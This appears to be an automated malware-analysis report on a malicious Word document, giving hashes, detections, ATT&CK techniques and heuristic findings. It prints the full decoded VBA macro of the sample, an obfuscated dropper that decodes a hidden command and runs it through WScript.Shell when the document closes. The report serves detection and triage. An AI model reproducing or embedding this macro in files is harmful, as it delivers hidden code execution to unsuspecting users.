Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9daa9be7e3d45f1a…

MALICIOUS

Office (OOXML)

36.7 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-09-30
MD5: 567e9750bf01828f3e1a5385768ecb15 SHA-1: 0bfff87f65f9eedd23f522f23433a4c359fdb16a SHA-256: 9daa9be7e3d45f1a04476c969a8f73362bdd960ae3b5b5bf02ca01c958ac1db7
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is an OOXML document containing VBA macros. Heuristics indicate the presence of Shell() and CreateObject() calls, specifically using WScript.Shell. The Document_Close() subroutine attempts to execute a deobfuscated string, likely a second-stage payload, via the 'annegare' function which utilizes WScript.Shell. This suggests a macro-based dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6384769-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6384769-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(medesimo) < 4774 Then
        CreateObject("WScript.Shell").Run medesimo, vbHide * 4
      End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(medesimo) < 4774 Then
        CreateObject("WScript.Shell").Run medesimo, vbHide * 4
      End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2610 bytes
SHA-256: 3976df3dbac1289235dd5591dff895c22e70b8fa82ba716400d2507d922aef36
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function annuncio(bisturi As Integer) As String
 berlina = Array("N", "-", "O", "g", "t", "l", "w", "k", ")", "z", "/", "b", "=", "'", ";", "j", "a", "r", ".", "A", "C", "d", "\", "i", "E", "s", "S", " ", "y", "P", "$", "?", "u", "e", "c", "m", "x", "F", "n", ":", ",", "h", "(", "p", "B", "v", "+", "D", "q", "W", "T", "G", "Q", "o")
 Dim oggi As Integer
 
 For oggi = LBound(berlina) To UBound(berlina)
   If oggi = bisturi Then
    annuncio = berlina(oggi)
   End If
 Next
 
End Function


Public Function annegare(medesimo As String)
  If Len(medesimo) < 4774 Then
    CreateObject("WScript.Shell").Run medesimo, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = cedrata("43530633172541330505270100532436230427012436333427442843162525270120533535163821274200330601021115333404272628250433351800330418493311200523333804081847530638055316213723053342134104044339101048532306210723480615381141321606383318345335102626102153381805093513402730333845391929294719501927462713224420512352241833363313081427260416170401291753343325252730333845391929294719501913224420512352241833363313142742003306010211153334042726282504333518003304184933112005233338040818475306380553162126041723380342134104044339101048532306210723480615381141321606383318345335102518434143312321122153381308")
 Application.Run "annegare", feralo
End Sub

Function puro(ByVal bradipo, ByVal burlone) As String
 
 servire = vbNullString
 rotondo = Array(bradipo, burlone)
 
 For daino = 0 To UBound(rotondo)
   servire = servire + vbNullString + rotondo(daino) + vbNullString
 Next
 
 puro = servire
End Function

Function cedrata(Optional polso As String, Optional polso2)
  comodo = idolo(Trim(polso))
  tesserato = ""

  For oggi = 0 To Len(polso)
    If (oggi + 1) <= UBound(comodo) Then
    vigore = comodo(oggi + 1)
    verifica = comodo(oggi)
    farinoso = annuncio(Int(comodo(oggi) + vigore))
    tesserato = puro(tesserato, farinoso)
    oggi = oggi + 1
    End If
  Next
  
  cedrata = tesserato
End Function


Function idolo(temerario As String, Optional saturno As Integer) As Variant
    idolo = Split(Left(StrConv(temerario, vbUnicode), Len(StrConv(temerario, vbUnicode)) - 1), vbNullChar)
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: c38e2ca170f39d68af97ae1fc6f63dc205056d8b29444e04ff38addf1c67cf19
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).